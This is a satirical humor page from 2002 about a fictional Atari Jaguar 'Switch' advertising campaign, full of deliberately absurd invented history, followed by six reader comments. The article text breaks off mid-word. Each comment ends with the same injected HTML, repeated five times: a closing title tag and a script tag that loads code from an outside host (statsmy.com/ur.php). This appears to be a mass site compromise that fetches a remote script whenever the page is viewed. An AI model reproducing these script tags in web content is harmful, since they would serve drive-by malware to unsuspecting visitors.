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Atari Jaguar Switch
by Kris on 10/22/2002 (6)

Pictured here is the Sasquatch, the fabled missing link and high school graduate. Only a half-man, half-ape could have hair this soft and manageable.
Over the past few months, Apple has been running a series of commercials telling how various users have given up their PC going ways and turned to the loving arms of Apple. Whether or not the Switch campaign has been successful in converting PC users is yet to be seen, but that hasn't stopped Atari from stealing this lucrative idea from Apple.

It's toilet shaped and it plays games! What more could you want? Seriously, let us know. We're stumped.
Atari was founded by Nolan Bushnell in 1972 as a response to rumors of the elusive Sasquatch stealing babies from the local villagers, most notably the baby of famous aviator Charles Lindbergh. Nolan's first game, Pong, was created to ease the tension of the situation and also to keep families inside so the Sasquatch would not eat their babies. Pong featured two player controlled paddles, which he called Sasquatch Bats, that were used to bounce a Sasquatch head across the screen. If the head gets behind one player, it would eat one of their babies and the other player then receives a point. "Pong was perhaps my greatest, and only, creation," commented Nolan. "People were sick of the Sasquatch and Pong let them take out their aggressions in a realistic simulation. Sure it didn't stop the Sasquatch from eating babies, but it did provide a temporary escape from the clutches of that hairy beast."

Over the years, Atari made countless other video games, pinball games, nacho machines, bowling ball cleaners and even their own band, but nothing ever neared the success of the Atari Jaguar. Released in 1993, the Jaguar finally put Atari on the map as a legitimate video game company. After over twenty years of development, Atari had arrived. "While we had a lot of success over the years," said Atari mascot Dan the Man, "we never received the critical acclaim that the Jaguar has now brought us. Finally people see us as a legitimate developer rather than the creepy brother of Hasbro who lives in his parents' basement and spends all day watching porn and sniffing glue."

Sadly though, the golden days of the Jaguar have since come to an end. In the past two years, the sales of the Jaguar have fallen sharply when faced with competition from the Playstation 2, X-box, Gamecube, and Game Boy Advance, all of which have superior hardware to the Jaguar. "It's been a tough time," commented Atari President Count Dracula (no relation to THE Count Dracula or Michael Jackson), "But we feel that if we use the most deceitful of advertising techniques, we can once again trick the public into purchasing our inferior hardware and sub par games."

Games so good, they will make you wish Count Dracula wasn't trying to kill you.
"The reasoning behind the new Jaguar Switch campaign is two-fold," said Dracula, "First, it is to revive a failing market and to position Atari to finally bring the gaming industry to it's knees in the biggest massacre since the Battle of Little Bighorn. Secondly, we are simply angry with Apple, who obviously stole their new toilet shaped iMac design from the original toilet shaped Jaguar. While Atari didn't invent the toilet, we h


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Comments

1. by on 3/1/2007 4:52:29 PM
sorry, but as a Mac user, I could only skim and read about 4 sentences of this article. I guess there were tooo many puns or subtle references to things with which I am not familiar. And I used to work for Apple 7 years from '93 to 2000."0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Fanboy on 3/1/2007 4:52:29 PM
How refreshing to hear about the new start that Infogrames will be giving the Atari Jaguar! I always knew its day would come given classics like AirCars, Protector, and Ninja Golf. I cannot wait to tell my friends that they should never have sold their Jaguars on EBay because let's face it guys, nothing out there has the 64 bit power of the jaguar. Thank you for bringing this to my attention. I need to eat paste now I'm so excited ow crap I just wet my pant GRRRARRRRRGGHHHH HULK SMASH!n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Upyours on 3/1/2007 4:52:29 PM
You're the biggest moron ever. A baby's scribbling is less nonsensical than your articles.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Monkey on 3/1/2007 4:52:29 PM
Bleah. Devoid of wit and lacking any genuine humor, this 'story' is in fact, based on a decent concept. However, from conception to execution, something went horribly wrong. Keep your day job - comedy writing isn't in your future, Kris S."0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Kris on 3/1/2007 4:52:29 PM
Well, it's a good thing the urinal cake bussiness is booming!go.ph </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Wade Boggins on 3/1/2007 4:52:29 PM
Man... Reading this makes me laugh every time. I really love the Jaguar though!ui </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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